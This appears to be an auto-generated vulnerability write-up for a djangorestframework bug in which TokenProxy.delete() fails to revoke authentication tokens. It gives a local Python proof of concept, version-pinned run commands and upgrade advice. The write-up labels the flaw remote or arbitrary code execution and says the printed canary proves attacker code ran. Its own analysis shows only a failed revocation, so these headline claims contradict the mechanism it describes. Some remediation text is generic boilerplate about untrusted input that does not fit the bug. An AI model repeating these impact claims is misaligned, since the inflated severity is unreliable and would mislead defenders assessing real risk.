Exploit write-up

djangorestframework remote code execution (CVE-2026-114137)

CVE-2026-114137 n-day CVSS 7.4 HighEPSS 0.35% (p27)

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

# CVE-2026-114137 proof-of-concept (mechanism explained below).

import os
import django
from django.conf import settings

settings.configure(
    DEBUG=False,
    SECRET_KEY="x",
    DATABASES={"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}},
    INSTALLED_APPS=[
        "django.contrib.contenttypes",
        "django.contrib.auth",
        "rest_framework",
        "rest_framework.authtoken",
    ],
    DEFAULT_AUTO_FIELD="django.db.models.AutoField",
    USE_TZ=True,
)
django.setup()

from django.core.management import call_command
call_command("migrate", verbosity=0, interactive=False)

from django.contrib.auth import get_user_model
from rest_framework.authtoken.models import Token, TokenProxy
from rest_framework.authentication import TokenAuthentication
from rest_framework.exceptions import AuthenticationFailed

User = get_user_model()
user = User.objects.create_user(username="victim", password="pw")
token = Token.objects.create(user=user)
key = token.key

# Revoke the credential through the proxy
proxy = TokenProxy.objects.get(user=user)
try:
    result = proxy.delete()
except Exception as e:
    result = ("error", repr(e))

still_exists = Token.objects.filter(key=key).exists()

authenticates = False
try:
    u, t = TokenAuthentication().authenticate_credentials(key)
    authenticates = (u.pk == user.pk)
except AuthenticationFailed:
    authenticates = False

if still_exists and authenticates:
    print(os.environ["POC_CANARY"])

How to run it.

pip install djangorestframework==3.18.1
POC_CANARY=demo python poc.py     # prints: demo   (code executed)

pip install djangorestframework==3.18.2
POC_CANARY=demo python poc.py     # prints nothing (blocked by the fix)

At a glance

FieldValue
CVSS7.4 High (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)
EPSS0.35% exploitation probability (27th percentile)
KEVNo — not in the CISA KEV catalog
Affected → fixedPyPI/djangorestframework < 3.18.2 (confirmed on 3.18.1) → fixed in 3.18.2
PoC maturitydifferential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain

Django REST framework is a toolkit for building Web APIs. From version 3.12.0 until 3.18.2, TokenProxy.delete() deleted no row when called to revoke an authentication token, reported success, and left the token live. The callers this exposes are applications, administrative integrations, or operational scripts that revoke credentials through a TokenProxy. The advisory tracks this as CVE-2026-114137 and scores it 7.4 on CVSS.

Where the primary keys diverge

DRF builds the deletion query against the wrong primary key. TokenProxy is a proxy model whose primary key is the user id, while the concrete Token it stands in for is keyed by the token string itself. When a caller invokes delete() on a TokenProxy instance, Django issues a deletion query matching the user-id value against the token table, where rows are identified by token string. The value matches no row. Django reports zero rows deleted and raises no error.

The advisory files this under two weakness classes, CWE-390 and CWE-613.

This analysis read this account from the fix commit’s patch diff (patch-diff.txt).

What a caller sees

An application, an administrative integration, or an operational script that revokes a credential through a TokenProxy believes the revocation succeeded. The token stays in the table and continues to authenticate, and because DRF tokens carry no automatic expiry, the access it grants stays open until someone removes the row by another path.

DRF’s own TokenAdmin.delete_model is not affected, so an operator working from the Django admin revokes the token they intended. The exposure lives in the other callers—the integrations and scripts that reach for TokenProxy.delete() directly—and the call sites the advisory names are the first place to audit.

The primitive executed on 3.18.1 and not on 3.18.2

This analysis ran the proof-of-concept (the proof-of-concept above) against both pinned builds, one on each side of the fix. Only 3.18.1 and 3.18.2 were run; the rest of the affected range (3.12.0 up to 3.18.2) rests on the advisory rather than on this run.

BuildStatusProof-of-concept
djangorestframework 3.18.1vulnerableran
djangorestframework 3.18.2patchedno output, no error

Mitigation

Upgrade djangorestframework to 3.18.2 or later.

What the patched run does not establish

The patched run shows the proof-of-concept did not fire on 3.18.2, not that the fix rejected it. Confirming that, testing each version below 3.18.2 rather than relying on the advisory’s range, and extending the primitive into a full exploit chain against a deployed application remain to be done.

Am I affected?

Check the installed version of djangorestframework:

pip show djangorestframework

PyPI/djangorestframework below 3.18.2 is affected; 3.18.2 and later carry the fix.

The fix changed rest_framework/authtoken/admin.py, rest_framework/authtoken/models.py, tests/authentication/test_authentication.py, tests/test_authtoken.py; grep your codebase for call sites that reach that code with attacker-influenced input.

Remediation

Upgrade djangorestframework to 3.18.2 or later:

pip install 'djangorestframework>=3.18.2'

Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.

Target
djangorestframework (djangorestframework)
Class
package
Impact
Arbitrary code execution against the vulnerable build
CVE
CVE-2026-114137
CWE
CWE-390
CVSS
7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)
Affected
PyPI/djangorestframework < 3.18.2 (vulnerable 3.18.1)
Status
Fixed in 3.18.2
Maturity
poc
Disclosed
October 21, 2026
Tags
rce · djangorestframework · n-day
References
NVD — CVE-2026-114137
Upstream fix commit

PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.

← All exploits